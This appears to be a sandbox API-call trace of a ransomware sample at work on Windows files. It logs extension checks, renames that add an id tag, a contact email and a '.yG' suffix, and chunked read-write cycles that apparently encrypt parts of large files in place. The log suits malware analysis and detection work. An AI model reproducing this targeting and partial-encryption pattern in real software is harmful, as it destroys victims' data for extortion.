	[0042.932] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0042.932] lstrlenW (lpString=".zip") returned 4
	[0042.932] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0042.932] lstrlenW (lpString=".rar") returned 4
	[0042.932] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0042.932] lstrlenW (lpString=".bz2") returned 4
	[0042.932] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0042.932] lstrlenW (lpString=".7z") returned 3
	[0042.932] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0042.932] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0042.932] lstrlenW (lpString=".dbf") returned 4
	[0042.932] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0042.932] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0042.932] lstrlenW (lpString=".1cd") returned 4
	[0042.932] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0042.932] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0042.932] lstrlenW (lpString=".jpg") returned 4
	[0042.932] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0042.932] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0042.932] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0042.932] lstrlenW (lpString=".doc") returned 4
	[0042.932] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0042.932] lstrlenW (lpString=".docx") returned 5
	[0042.932] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1
	[0042.932] lstrlenW (lpString=".pdf") returned 4
	[0042.932] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0042.932] lstrlenW (lpString=".xls") returned 4
	[0042.932] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0042.932] lstrlenW (lpString=".xlsx") returned 5
	[0042.933] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1
	[0042.933] lstrlenW (lpString=".ppt") returned 4
	[0042.933] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0042.933] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0042.933] lstrlenW (lpString=".zip") returned 4
	[0042.933] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0042.933] lstrlenW (lpString=".rar") returned 4
	[0042.933] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0042.933] lstrlenW (lpString=".bz2") returned 4
	[0042.933] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0042.933] lstrlenW (lpString=".7z") returned 3
	[0042.933] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0042.933] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0042.933] lstrlenW (lpString=".dbf") returned 4
	[0042.933] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0042.933] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0042.933] lstrlenW (lpString=".1cd") returned 4
	[0042.933] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0042.933] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0042.933] lstrlenW (lpString=".jpg") returned 4
	[0042.934] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0042.934] lstrcmpiW (lpString1=".mzz", lpString2=".yG") returned -1
	[0042.934] lstrlenW (lpString="netfx_Core.mzz") returned 14
	[0042.934] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0042.934] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=181483595) returned 1
	[0042.934] CloseHandle (hObject=0x334) returned 1
	[0042.934] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz")) returned 0x80
	[0042.934] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.934] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[sysadmin@mail.fr].yg")) returned 1
	[0042.935] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0042.935] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fc64 | out: lpNewFilePointer=0x0) returned 1
	[0042.935] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fc24 | out: lpNewFilePointer=0x0) returned 1
	[0042.935] ReadFile (in: hFile=0x334, lpBuffer=0x3f5d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x326fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f5d058*, lpNumberOfBytesRead=0x326fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0043.044] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x326fc24 | out: lpNewFilePointer=0x0) returned 1
	[0043.044] ReadFile (in: hFile=0x334, lpBuffer=0x3f9d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x326fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f9d058*, lpNumberOfBytesRead=0x326fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0043.122] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x326fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0043.122] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x326fc24 | out: lpNewFilePointer=0x0) returned 1
	[0043.122] ReadFile (in: hFile=0x334, lpBuffer=0x3fdd058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x326fc30, lpOverlapped=0x0 | out: lpBuffer=0x3fdd058*, lpNumberOfBytesRead=0x326fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0043.365] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.365] WriteFile (in: hFile=0x334, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x326fca8, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fca8*=0xc0108, lpOverlapped=0x0) returned 1
	[0043.376] SetEndOfFile (hFile=0x334) returned 1
	[0043.376] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x40000) returned 0x4362ca0
	[0043.381] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fc74 | out: lpNewFilePointer=0x0) returned 1
	[0043.381] WriteFile (in: hFile=0x334, lpBuffer=0x4362ca0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x326fc80, lpOverlapped=0x0 | out: lpBuffer=0x4362ca0*, lpNumberOfBytesWritten=0x326fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0043.382] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x326fc74 | out: lpNewFilePointer=0x0) returned 1
	[0043.382] WriteFile (in: hFile=0x334, lpBuffer=0x4362ca0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x326fc80, lpOverlapped=0x0 | out: lpBuffer=0x4362ca0*, lpNumberOfBytesWritten=0x326fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0043.382] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x326fc74 | out: lpNewFilePointer=0x0) returned 1
	[0043.382] WriteFile (in: hFile=0x334, lpBuffer=0x4362ca0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x326fc80, lpOverlapped=0x0 | out: lpBuffer=0x4362ca0*, lpNumberOfBytesWritten=0x326fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0043.384] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0043.384] CloseHandle (hObject=0x334) returned 1
	[0045.001] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0045.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0045.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0045.001] lstrlenW (lpString=".doc") returned 4
	[0045.001] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1
	[0045.001] lstrlenW (lpString=".docx") returned 5
	[0045.001] lstrcmpiW (lpString1=".docx", lpString2="e.mzz") returned -1
	[0045.001] lstrlenW (lpString=".pdf") returned 4
	[0045.001] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1
	[0045.001] lstrlenW (lpString=".xls") returned 4
	[0045.001] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1
	[0045.001] lstrlenW (lpString=".xlsx") returned 5
	[0045.001] lstrcmpiW (lpString1=".xlsx", lpString2="e.mzz") returned -1
	[0045.001] lstrlenW (lpString=".ppt") returned 4
	[0045.001] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1
	[0045.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0045.002] lstrlenW (lpString=".zip") returned 4
	[0045.002] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1
	[0045.002] lstrlenW (lpString=".rar") returned 4
	[0045.002] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1
	[0045.002] lstrlenW (lpString=".bz2") returned 4
	[0045.002] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1
	[0045.002] lstrlenW (lpString=".7z") returned 3
	[0045.002] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1
	[0045.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0045.002] lstrlenW (lpString=".dbf") returned 4
	[0045.002] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1
	[0045.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0045.002] lstrlenW (lpString=".1cd") returned 4
	[0045.002] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1
	[0045.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0045.002] lstrlenW (lpString=".jpg") returned 4
	[0045.002] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1
	[0045.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0045.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0045.002] lstrlenW (lpString=".doc") returned 4
	[0045.002] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1
	[0045.002] lstrlenW (lpString=".docx") returned 5
	[0045.002] lstrcmpiW (lpString1=".docx", lpString2="e.mzz") returned -1
	[0045.002] lstrlenW (lpString=".pdf") returned 4
	[0045.002] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1
	[0045.002] lstrlenW (lpString=".xls") returned 4
	[0045.002] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1
	[0045.002] lstrlenW (lpString=".xlsx") returned 5
	[0045.002] lstrcmpiW (lpString1=".xlsx", lpString2="e.mzz") returned -1
	[0045.002] lstrlenW (lpString=".ppt") returned 4
	[0045.002] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1
	[0045.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0045.002] lstrlenW (lpString=".zip") returned 4
	[0045.002] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1
	[0045.002] lstrlenW (lpString=".rar") returned 4
	[0045.002] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1
	[0045.003] lstrlenW (lpString=".bz2") returned 4
	[0045.003] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1
	[0045.003] lstrlenW (lpString=".7z") returned 3
	[0045.003] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1
	[0045.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0045.003] lstrlenW (lpString=".dbf") returned 4
	[0045.003] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1
	[0045.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0045.003] lstrlenW (lpString=".1cd") returned 4
	[0045.003] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1
	[0045.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0045.003] lstrlenW (lpString=".jpg") returned 4
	[0045.003] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1
	[0045.003] lstrcmpiW (lpString1=".msu", lpString2=".yG") returned -1
	[0045.003] lstrlenW (lpString="Windows6.1-KB958488-v6001-x64.msu") returned 33
	[0045.003] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0045.064] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=5091790) returned 1
	[0045.064] CloseHandle (hObject=0x2f8) returned 1
	[0045.064] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu")) returned 0x80
	[0045.064] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0045.064] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[sysadmin@mail.fr].yg")) returned 1
	[0045.065] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0045.065] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fc64 | out: lpNewFilePointer=0x0) returned 1
	[0045.065] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fc24 | out: lpNewFilePointer=0x0) returned 1
	[0045.065] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f5d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x326fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f5d058*, lpNumberOfBytesRead=0x326fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0045.605] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x326fc24 | out: lpNewFilePointer=0x0) returned 1
	[0045.605] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f9d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x326fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f9d058*, lpNumberOfBytesRead=0x326fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0045.726] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x326fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0045.726] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x326fc24 | out: lpNewFilePointer=0x0) returned 1
	[0045.726] ReadFile (in: hFile=0x2f8, lpBuffer=0x3fdd058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x326fc30, lpOverlapped=0x0 | out: lpBuffer=0x3fdd058*, lpNumberOfBytesRead=0x326fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0045.795] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0045.796] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x326fca8, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fca8*=0xc012e, lpOverlapped=0x0) returned 1
	[0045.815] SetEndOfFile (hFile=0x2f8) returned 1
	[0045.815] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x40000) returned 0x43c2cb0
	[0045.820] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fc74 | out: lpNewFilePointer=0x0) returned 1
	[0045.820] WriteFile (in: hFile=0x2f8, lpBuffer=0x43c2cb0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x326fc80, lpOverlapped=0x0 | out: lpBuffer=0x43c2cb0*, lpNumberOfBytesWritten=0x326fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0045.821] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x326fc74 | out: lpNewFilePointer=0x0) returned 1
	[0045.821] WriteFile (in: hFile=0x2f8, lpBuffer=0x43c2cb0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x326fc80, lpOverlapped=0x0 | out: lpBuffer=0x43c2cb0*, lpNumberOfBytesWritten=0x326fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0045.823] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x326fc74 | out: lpNewFilePointer=0x0) returned 1
	[0045.823] WriteFile (in: hFile=0x2f8, lpBuffer=0x43c2cb0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x326fc80, lpOverlapped=0x0 | out: lpBuffer=0x43c2cb0*, lpNumberOfBytesWritten=0x326fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0046.122] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c2cb0 | out: hHeap=0x650000) returned 1
	[0046.124] CloseHandle (hObject=0x2f8) returned 1
	[0046.828] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0046.828] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0046.829] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0046.829] lstrlenW (lpString=".doc") returned 4
	[0046.829] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0046.829] lstrlenW (lpString=".docx") returned 5
	[0046.829] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0046.829] lstrlenW (lpString=".pdf") returned 4
	[0046.829] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0046.829] lstrlenW (lpString=".xls") returned 4
	[0046.829] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0046.829] lstrlenW (lpString=".xlsx") returned 5
	[0046.829] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0046.829] lstrlenW (lpString=".ppt") returned 4
	[0046.829] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0046.829] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0046.829] lstrlenW (lpString=".zip") returned 4
	[0046.829] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0046.829] lstrlenW (lpString=".rar") returned 4
	[0046.829] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0046.829] lstrlenW (lpString=".bz2") returned 4
	[0046.829] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0046.829] lstrlenW (lpString=".7z") returned 3
	[0046.829] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0046.829] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0046.829] lstrlenW (lpString=".dbf") returned 4
	[0046.829] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0046.829] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0046.829] lstrlenW (lpString=".1cd") returned 4
	[0046.829] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0046.829] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0046.829] lstrlenW (lpString=".jpg") returned 4
	[0046.829] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0046.829] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0046.829] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0046.829] lstrlenW (lpString=".doc") returned 4
	[0046.829] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0046.829] lstrlenW (lpString=".docx") returned 5
	[0046.829] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0046.830] lstrlenW (lpString=".pdf") returned 4
	[0046.830] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0046.830] lstrlenW (lpString=".xls") returned 4
	[0046.830] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0046.830] lstrlenW (lpString=".xlsx") returned 5
	[0046.830] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0046.830] lstrlenW (lpString=".ppt") returned 4
	[0046.830] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0046.830] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0046.830] lstrlenW (lpString=".zip") returned 4
	[0046.830] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0046.830] lstrlenW (lpString=".rar") returned 4
	[0046.830] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0046.830] lstrlenW (lpString=".bz2") returned 4
	[0046.830] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0046.830] lstrlenW (lpString=".7z") returned 3
	[0046.830] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0046.830] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0046.830] lstrlenW (lpString=".dbf") returned 4
	[0046.830] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0046.830] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0046.830] lstrlenW (lpString=".1cd") returned 4
	[0046.830] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0046.830] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0046.830] lstrlenW (lpString=".jpg") returned 4
	[0046.830] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0046.830] lstrcmpiW (lpString1=".ttf", lpString2=".yG") returned -1
	[0046.830] lstrlenW (lpString="meiryo_boot.ttf") returned 15
	[0046.830] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0047.135] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=145419) returned 1
	[0047.136] CloseHandle (hObject=0x388) returned 1
	[0047.136] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf")) returned 0x20
	[0047.136] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0047.136] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0047.136] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0047.136] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0047.136] lstrlenW (lpString=".doc") returned 4
	[0047.136] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0047.136] lstrlenW (lpString=".docx") returned 5
	[0047.136] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0047.136] lstrlenW (lpString=".pdf") returned 4
	[0047.136] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0047.136] lstrlenW (lpString=".xls") returned 4
	[0047.136] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0047.136] lstrlenW (lpString=".xlsx") returned 5
	[0047.136] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0047.136] lstrlenW (lpString=".ppt") returned 4
	[0047.136] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0047.136] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0047.136] lstrlenW (lpString=".zip") returned 4
	[0047.136] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0047.136] lstrlenW (lpString=".rar") returned 4
	[0047.136] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0047.136] lstrlenW (lpString=".bz2") returned 4
	[0047.136] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0047.136] lstrlenW (lpString=".7z") returned 3
	[0047.136] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0047.137] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0047.137] lstrlenW (lpString=".dbf") returned 4
